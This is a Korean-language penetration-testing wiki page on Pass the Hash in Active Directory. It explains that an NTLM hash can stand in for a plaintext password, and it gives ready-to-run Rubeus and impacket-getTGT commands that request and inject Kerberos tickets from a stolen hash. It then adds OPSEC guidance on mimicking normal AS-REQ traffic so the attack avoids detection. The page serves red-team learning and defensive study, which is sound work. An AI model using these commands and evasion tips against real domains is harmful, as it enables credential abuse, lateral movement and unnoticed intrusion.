> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/impersonation/pass-the-hash.md).

# Pass the Hash

## Pass the Hash

[Broken mention](broken://pages/opkhtqLCXYUMC9Tvpp5G) 인증의 독특한 방식 때문에 공격자는 평문 패스워드를 모르더라도 NTLM 해시만으로도 사용자 인증을 할 수 있습니다. Pass the Hash는 평문 패스워드를 건너뛰고 해시를 사용하는 방법입니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 사용자의 NTLM로 TGT 생성
</strong>.\Rubeus.exe asktgt /user:'&#x3C;username>' /rc4:'&#x3C;hash>' /nowrap /ptt /force /opsec /domain:'&#x3C;netbios>'

<strong># 티켓 삭제
</strong>.\Rubeus.exe purge
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 사용자의 NTLM로 TGT 생성
</strong>impacket-getTGT contoso.com/Mick3y -hashes :2b576acbe6bcfda7294d6bd18041b8fe

<strong># 환경변수 등록
</strong>export KRB5CCNAME=Mick3y.ccache

<strong># 환경변수 삭제
</strong>unset KRB5CCNAME
</code></pre>

{% endtab %}
{% endtabs %}

## Opsec

도메인을 명시하지 않고 Rubeus를 통해 티켓을 생성하면 도메인 이름을 사용하여 티켓을 요청합니다. 하지만 일반적인 경우에서 사용자가 인증하면 도메인의 NetBIOS 이름만 사용합니다. 또한 Ticket Options도 상이한 결과를 보입니다.

<div><figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FSpp9pLy7oCYXHBXIgGvj%2F9.png?alt=media&amp;token=15673dd4-a86e-4d9f-acfe-fbbc7e42a9a8" alt=""><figcaption><p>일반적인 TGT 요청 이벤트</p></figcaption></figure> <figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FGM3TwDDLeV628zEDMLcr%2F10.png?alt=media&amp;token=010d2bfd-a1c1-42d4-9d3e-4061b41566be" alt=""><figcaption><p>Rubeus에서 생성한 TGT 요청 이벤트</p></figcaption></figure></div>

도메인 이름은 오류 방지를 위해 Rubeus에서 명시적으로 FQDN을 사용합니다. Ticket Options가 차이나는 이유는 kdc-options에서 16번째 플래그인 canonicalize 옵션의 값이 다르기 때문입니다.

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2Fz91RhY87IgqoczQ1zyGY%2F11.png?alt=media&amp;token=7b2b8a0b-dd9e-4a60-bf33-c72fddaadcfd" alt=""><figcaption><p><a href="https://datatracker.ietf.org/doc/rfc6806/">https://datatracker.ietf.org/doc/rfc6806/</a></p></figcaption></figure>

RFC6806에서 정의하듯 이 옵션은 클라이언트가 제시한 KDC 이름이 alias일 수도 있으니 정규화 해줄 것을 요청하는 옵션입니다.

Rubeus의 opsec 옵션은 이 값을 1로 설정하여 일반적인 AS-REQ를 모방합니다.

{% hint style="info" %}
impacket 프로젝트는 opsec 옵션을 제공하지 않으며, Ticket Options 5080000을 생성합니다.
{% endhint %}

## References

{% embed url="<https://datatracker.ietf.org/doc/rfc6806/>" %}
